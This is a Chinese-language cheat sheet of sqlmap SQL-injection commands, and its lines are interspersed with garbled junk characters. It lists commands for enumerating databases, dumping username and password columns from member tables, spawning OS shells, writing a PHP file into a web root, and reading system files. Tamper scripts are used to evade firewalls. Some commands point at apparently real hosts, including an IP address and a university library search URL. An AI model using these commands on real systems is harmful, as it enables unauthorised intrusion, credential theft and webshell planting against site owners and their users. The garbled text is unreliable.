/pentest/database/sqlmap
$ i: j& M( U8 `4 f1 u2 H) ^( U: r/ V: J% {7 W) J, M
update :::::> in the folder after execute following order : svn update1 V: ~4 T8 G& J( v, \) j
/ }3 w3 a3 i0 H* \
sqlmap.py -r 1.txt --current-db. S+ b! r _! |' }) e7 j; L, f3 O
' |, S# Q3 T; lv 3 –dbms “MySQL” –technique U -p id –batch –tamper “space2morehash.py”$ B* J3 ?- [/ e9 n; s7 ]
8 K+ n" q) v/ {# T==================基本使用方法==========================elect (select concat(0x7e,0x27,username,0x3a,password,0x27,0x7e) from phpcms_member limit 0,1)) ! y' y& S8 V- C& t- J
猜解数据库0 t6 `2 c5 m1 i
./sqlmap.py -u "injection-url" --dbs
7 L5 W; o% }' Y% }3 ^sqlmap.py -r 1.txt -v 3 --dbs --tamper "space2morehash.py"8 O9 x, E) f% \ E
8 [" t$ ^3 L; }3 D1 V# E* z
猜解表名1 w5 Y' |3 X6 J2 I
./sqlmap.py -u "injection-url" -D database_name --tables
, r( I; A* [1 x1 [# X0 N) [; D7 y: c f% E3 M
sqlmap.py -r 1.txt -v 1 -D jsst --tables --batch --tamper "space2morehash.py"; T0 W/ {6 t& Q0 N, E- ]' C
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member_info --columns --batch --tamper "space2morehash.py"
. Z. z" i" F- v* E/ r7 {3 B5 A& Q# }8 W( V
sqlmap.py -r 1.txt -D mail -T F_domain -C F_email,F_password --dump
. r. H. f) @1 k6 m2 e
! k; N) F8 g' b* B8 Z5 E6 U. zsqlmap.py -r 1.txt -v 1 --os-shell --tamper "chardoubleencode.py"
8 s8 o) F0 @- s( M. vsqlmap.py -r 1.txt -v 3 --os-shell --tamper "chardoubleencode.py"
0 [2 C4 J3 W0 E" xsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:\Bitnami\wampstack-5.4.29-0\apache2\htdocs\en\fckeditor\help888.php --tamper "chardoubleencode.py" $ E) M2 v/ X C. w* x1 W& @- \0 n
sqlmap.py -r 1.txt --dbms "Mysql" --os-shell --tamper "charunicodeencode.py"4 m2 t7 Y* j2 }# y
- U0 u# p* z2 I5 b i' R+ Jsqlmap.py -u "http://121.15.0.227/en/list.php?catid=74" --os-shell -v3 --tamper "charunicodeencode.py"
! l; A7 O; V- Bsqlmap.py -r 1.txt -v 3 --sql-query "desc jsgen_member;" --batch --tamper "space2morehash.py"
9 B& s9 g9 E. }. P" `sqlmap.py -r 1.txt -v 3 --sql-query "show create table jsgen_member;" --batch --tamper "space2morehash.py"
3 {, a4 O; ~3 ~/ g; m) |2 Bsqlmap.py -r 1.txt -v 3 --sql-query "select user();" --batch --tamper "space2morehash.py"3 Z& z- ]: x0 G0 R8 f
sqlmap.py -r 1.txt -D jsst -T phpcms_member -C username,password --dump2 h' v5 y1 Z! @9 b* B" R
; B S3 J; q- Q, ~sqlmap.py -r 1.txt -v 3 --dbs --batch --tamper "space2morehash.py" 绕过防火墙了, [! i, V4 E$ l& A% x, n
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C ,userid,username,password, --dump --batch --tamper "space2morehash.py"
- ^5 Z" R2 G! l6 {' |: `; `: z* i
* l% f6 N5 N. D& ]; B4 \3 Z/ csqlmap.py -r 1.txt --dbms "Mysql" --tables -D "jsst"
& X# D# K$ {$ u) r: W+ h猜解列名' K2 K. D q3 g4 S, i
./sqlmap.py -u "injection-url" -D database_name -T table_name --columns
( R0 S% ]; y2 N- x$ V" F: @
9 L$ C* c; c) G( Lsqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member --columns --batch --tamper "space2morehash.py" . D3 I, ?8 _9 |( Z+ v2 K9 q
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_session --columns --batch --tamper "space2morehash.py" / d1 n f* `2 j4 A+ {
sqlmap.py -r 1.txt -v 3 -D jsst -T jsgen_member -C userid,groupid,username,password,touserid,point,modelid,email,areaid --dump --batch --tamper "charunicodeencode.py"7 [& y: y' i9 p# x. c9 ~$ x
# U1 E$ c! h# p! O( ` Csqlmap.py -u "http://cityusr.lib.cityu.edu.hk/jspui/simple-search?query=1" --batch --tamper "space2morehash.py"+ N& l: ]# p- ] _
&submit=Go
" h* o& r& O" R; n/ M猜解值' ]% H0 |% R0 m& S) E& D+ Y
./sqlmap.py -u "injection-url" -D database_name -T table_name -C column1,column2 --dump/ M; } v' e: G! ?
========================================================5 f1 f7 y6 K0 B6 v
搜索表名中包括mana字符的' P6 T7 ]4 N$ L. C/ X
/sqlmap.py -u "injection-url" -T mana --search% E) p E! q, U& w1 m
返回一个交互式sql shell) l% @3 t+ A; A. Y' h
/sqlmap.py -u "injection-url" --sql-shell
% S: k& R7 x0 _8 X( P读取指定文件(需权限)2 I' r0 d& d* Z$ C6 N
/sqlmap.py -u "injection-url" --file-read "c:\boot.ini") N8 ]: K6 L t1 \* o7 r
查看当前 用户 及 数据库
8 Y8 R- n7 `5 n2 j, y- Z/sqlmap.py -u "injection-url" --current-user --current-db9 ~$ @- W& k3 n
本地文件 写入 远程目标绝对路径
- e4 w* u( c8 W9 o/sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径
0 c4 u4 W6 v% u/ o. B) z6 k& Fsqlmap.py -r 1.txt -v 3 --file-write c:\help.php --file-dest D:/Bitnami/wampstack-5.4.29-0/apache2/htdocs/en/fckeditor\help888.php --tamper "charunicodeencode.py" 4 u( h9 N8 x4 |0 v: Y+ m
9 K A! m4 e) L9 _
sqlmap.py -u "injection-url" --file-write 本地路径 --file-dest 远程绝对路径! v! k: L \5 O4 ]7 h& y0 t
查看某用的权限
@& R/ m; V" ~. ?( @! S/sqlmap.py -u "injection-url" --privileges -U root3 H. p9 p ~" y: D
查看当前用户是否为dba
5 y/ U6 Q6 i8 l# m" ?4 [4 V% `/sqlmap.py -u "injection-url" --is-dba! ?! Y# i2 r" B; }5 ^0 N# r6 P6 E
读取所有数据库用户或指定数据库用户的密码
: }! M2 E. {$ I. e% {$ C* tsqlmap.py -r 1.txt --users --passwords/ \& t8 N& u* p. W
sqlmap.py -r 1.txt -v 3 --users --passwords --batch --tamper "space2morehash.py" 8 c; C# U) F( {& {3 {/ r
0 u7 f; {8 o: C% k
/sqlmap.py -u "injection-url" --passwords -U root
) n; z) F! I- ~" c) s9 }2 ^, C/ q% E; X
--start&&--stop 与 --first&&--last 的区别
2 l% K7 u. A2 v+ W8 t/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D phpcms -T phpcms_member --start=1 --stop=2 --dump (--start=1 --stop=2 会列出第二条记录。。。。记录例如:0 1 2 3 ……)4 q, k( I9 L8 [, z0 Z
+ g& s" F, d# Q9 n" s- X
从字典中查找(属于暴利破解)存在的表(sqlmap/txt/common-tables.txt)或字段(sqlmap/txt/common-columns.txt)
$ |: R8 y; g6 Z, T1 L/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name --common-tables
+ X; b6 `! F7 ^0 H$ j/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" -D database-name -T table_name --common-columns
6 d" U9 Y; _4 }, d, Z5 }
$ [8 h" V }$ `8 U( D执行sql语句,如查询@@datadir得到数据库路径(或者user()/database()等等……)- T3 g* ]3 b: ^, l
/sqlmap.py -u "http://localhost/comment/index.php?keyid=1&itemid=1" --sql-query "select @@ip"1 y+ L$ T' d2 w& E7 j0 b
O4 s& ~; e4 S" U# }
|